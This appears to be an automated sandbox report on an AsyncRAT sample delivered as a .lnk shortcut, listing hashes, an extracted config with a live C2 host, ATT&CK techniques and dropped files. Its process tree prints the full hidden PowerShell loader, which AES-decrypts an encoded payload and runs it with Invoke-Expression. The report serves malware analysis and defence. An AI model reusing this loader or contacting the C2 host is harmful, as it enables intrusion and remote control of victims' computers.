asyncrat | 3421a6ad1ac42363c9ba102916d4f7d78e323cca2a7b8c4a4ecc752820e55bdc

General

Target

RunScriptProtected.lnk
Size

3KB
MD5

7d7b89cb7fa6155b1e01334175ac1c5b
SHA1

e777ad0ff4d4510ee345c06c34123b279b0b7ad6
SHA256

7c8be71b3cfef2de7343bd48d20e33a6f2f94409d59c50f5ac3a5bbd703789fc
SHA512

bd1ddf6149e7d51339ba326ad6fbd9d0b7eb4a2e6a0ca90cfd6a9024df0ee81e0cc2ac2e77e4c1b86146d4d06ccc24696c320d5ea166cf79d9062ff9d3b22038

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

C2

alainlegrosper.ddns.net:6606

Mutex

sgXgvLmJ6SR3

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x000b000000023b8b-20.dat	family_asyncrat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	4028	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4028	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
4992	tmpA0D4.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tmpA0D4.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4028	powershell.exe
4028	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4028	powershell.exe
Token: SeDebugPrivilege	4992	tmpA0D4.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 64 wrote to memory of 4028	64	cmd.exe	83
PID 64 wrote to memory of 4028	64	cmd.exe	83
PID 4028 wrote to memory of 4992	4028	powershell.exe	84
PID 4028 wrote to memory of 4992	4028	powershell.exe	84
PID 4028 wrote to memory of 4992	4028	powershell.exe	84

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\RunScriptProtected.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:64
- C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "& {param($a, $b) $KEYIV = '3Q1aUNn15Me1VlTQAQdGsm8ekXBkW2FFrSBt93j4N9Hg2QMZ60uGi6hdUECTkmywWn5vE4REAgxDeSoQIFpLq0zLiYkkC3WftAtNr6bgSVPoN2eYpSVCgq7FapPgUIfMZiDkS4Z7ibn7XIe6LuOlTPHS0ibnAmKQ5eCYXNZdOKzILr7TAIImXk5QH61FidAIOBZrbTQpHYRM98yNGmvMOzONCZQfuvr'; $command = [System.Convert]::FromBase64String($a); $key = [System.Convert]::FromBase64String($b); $e = New-Object System.Security.Cryptography.AesManaged; $e.Key = $key; $e.IV = $command[0..15]; $f = $e.CreateDecryptor(); $g = $f.TransformFinalBlock($command[16..$command.Length], 0, $command.Length - 16); $h = [System.Text.Encoding]::UTF8.GetString($g); Invoke-Expression $h; }" -a "qs9K8ECrxJ4RYgoGXBOVA5zoSztl2ZXPpldKefb9lZYVjASx3hpM1DG7Td3mzXA7B5gsnqQ74Cf8nu4rHbTQMgCpXtC7lraiyB1QP5NLcaIqIUGuJEX8Yeh6OaMu87mbALezjUugDAG8K6pcwYBuptmyjFZy3nos4aELD9IL8TOAxjBh/YryQcekOlA++MRBusflRl3EOvlALID34VFe304kjnyI10ZlLqUrqV3m7ag=" -b "I2gGFN92JQ7raC35ha14JzISlRbQCYzWrkxCskiY01c="
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4028
- - C:\Users\Admin\AppData\Local\Temp\tmpA0D4.exe
    "C:\Users\Admin\AppData\Local\Temp\tmpA0D4.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4992

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tuub44lk.div.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpA0D4.exe

Filesize
45KB

MD5
7618cd8136bc7dffe953a5d906581ead

SHA1
6c4dbdf1063f2b099349ac2389fb40de2b2f57f4

SHA256
5bac7b2cfe8310cf823d5e504203c290e35d8e8309f04edb99d4800ad230fe0d

SHA512
7684ebc1d09fd79d3e5812418f3bd64d5dd27c8713e08caae0bc31318a415d5ac6c10ba5433bfeef5f1bff275037a3e924b501ca29baf262fa8beebbfa8644ad

Download Submit
memory/4028-2-0x00007FFCE6AF3000-0x00007FFCE6AF5000-memory.dmp

Filesize
8KB

Download
memory/4028-8-0x000001C7C76B0000-0x000001C7C76D2000-memory.dmp

Filesize
136KB

Download
memory/4028-13-0x00007FFCE6AF0000-0x00007FFCE75B1000-memory.dmp

Filesize
10.8MB

Download
memory/4028-14-0x00007FFCE6AF0000-0x00007FFCE75B1000-memory.dmp

Filesize
10.8MB

Download
memory/4028-16-0x00007FFCE6AF0000-0x00007FFCE75B1000-memory.dmp

Filesize
10.8MB

Download
memory/4028-28-0x00007FFCE6AF0000-0x00007FFCE75B1000-memory.dmp

Filesize
10.8MB

Download
memory/4992-30-0x0000000000D30000-0x0000000000D42000-memory.dmp

Filesize
72KB

Download
memory/4992-33-0x0000000005E80000-0x0000000005F1C000-memory.dmp

Filesize
624KB

Download
memory/4992-34-0x00000000064D0000-0x0000000006A74000-memory.dmp

Filesize
5.6MB

Download
memory/4992-35-0x0000000005F90000-0x0000000005FF6000-memory.dmp

Filesize
408KB

Download

Analysis

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